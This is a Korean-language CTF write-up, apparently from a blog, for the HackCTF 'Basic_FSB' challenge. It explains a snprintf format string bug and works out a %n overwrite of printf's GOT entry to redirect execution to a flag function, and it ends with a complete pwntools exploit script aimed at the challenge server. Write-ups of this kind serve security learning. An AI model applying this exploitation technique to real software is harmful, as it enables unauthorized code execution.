1. IDA
snprintf 함수는 character string인 format에 s의 0x400 바이트를 적는다.
snprintf() 함수에서 format string bug 취약점 발생
2. 보호기법 확인
3. pseudo code
4. 실행
AAAA로 값을 주고 %x를 몇 개 줘서 출력값을 확인해보면 A의 아스키코드값인 41이 두 번째에 들어가있다.
FSB에서 사용하는 방법 중 하나는 %n을 사용해서 특정 libc 주소의 got를 원하는 주소 값으로 overwrite하는 것이다.
%n 지시자는 출력된느 내용을 카운팅해서 %n으로 받아 값을 저장한다.
따라서 %n 지시자를 위와 같이 overwrite하길 바라는 AAAA와 같은 값의 위치에 주면, AAAA가 써있는 곳에 원하는 값으로 overwrite할 수 있는 것이다.
이 문제의 경우, 첫 번째 입력값이 두 번째에 들어가 있으므로
printf@got %x %n
이렇게 주면 %n에 써있는 값은 원래는 printf@got인데 flag 주소의 10진수 값으로 덮으면 printf@got에 flag 주소 값이 적혀서 printf 함수 호출 시 flag 함수가 실행될 수 있다.
AAAA %x %x %n 을 입력했다면 AAAA(4)+공백(1)+%x(1)+공백(1)+%x(8)+공백(1) = 16 값을 0x20782520에 넣는다. 따라서 printf@got %x %n 을 주면, %n은 출력되는 내용을 카운팅해서 printf@got 값에 %n 값을 넣게된다.
이것을 사용해서 %x에는 flag의 10진수 값 - 4(printf@got 주소 길이)로 주고 %n을 주면, 최종적으로 %n은 printf@got 길이 + flag 10진수 값 - printf@got 길이 = flag 10진수 값
이 된다.
flag 주소 : 0x80485b4 => 10진수 : 134,514,100
134514100 - 4 = 134514096 => printf@got 다음에 %134514096x 를 준다.
5. exploit code
#!/usr/bin/python
from pwn import *
#context.log_level = 'debug'
#p = process("./basic_fsb")
p = remote("ctf.j0n9hyun.xyz", 3002)
elf = ELF("./basic_fsb")
flag = elf.symbols['flag']
printf_got = elf.got['printf']
pay = p32(printf_got)
pay += '%' + str(int(flag)-4) + 'x'
pay += '%n'
p.sendlineafter("input : ", pay)
#gdb.attach(p)
p.interactive()
6. exploit
[HackCTF] x64 Simple_size_BOF (0) | 2020.01.01 |
---|---|
[HackCTF] x64 Buffer Overflow (0) | 2020.01.01 |
[HackCTF] 내 버퍼가 흘러넘친다!!! (0) | 2020.01.01 |
[HackCTF] Basic_bof #2 (0) | 2020.01.01 |
[HackCTF] Basic_bof #1 (0) | 2020.01.01 |